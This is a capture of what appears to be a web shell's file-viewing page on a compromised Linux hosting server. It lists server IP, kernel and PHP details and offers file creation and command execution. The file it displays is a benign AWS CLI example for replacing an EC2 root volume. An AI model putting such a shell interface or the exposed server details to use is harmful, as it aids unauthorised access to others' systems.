⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
awscli
/
examples
/
ec2
/
View File Name :
create-replace-root-volume-task.rst
**Example 1: To restore the root volume to its initial state** The following ``create-replace-root-volume-task`` example restores the root volume of the specified instance to its initial state. :: aws ec2 create-replace-root-volume-task \ --instance-id i-1234567890abcdef0 Output:: { "ReplaceRootVolumeTask": { "ReplaceRootVolumeTaskId": "replacevol-05efec875b94ae34d", "InstanceId": "i-1234567890abcdef0 "TaskState": "pending", "StartTime": "2021-09-16T00:19:30Z", "Tags": [] } } For more information, see `Replace an Amazon EBS volume
`__ in the *Amazon EC2 User Guide*. **Example 2: To restore the root volume to a specific snapshot** The following ``create-replace-root-volume-task`` example replaces the root volume of the specified instance with the specified snapshot. :: aws ec2 create-replace-root-volume-task \ --instance-id i-1234567890abcdef0 \ --snapshot-id snap-9876543210abcdef0 Output:: { "ReplaceRootVolumeTask": { "ReplaceRootVolumeTaskId": "replacevol-05efec875b94ae34d", "InstanceId": "i-1234567890abcdef0 "TaskState": "pending", "StartTime": "2021-09-16T00:19:30Z", "Tags": [] } } For more information, see `Replace an Amazon EBS volume
`__ in the *Amazon EC2 User Guide*.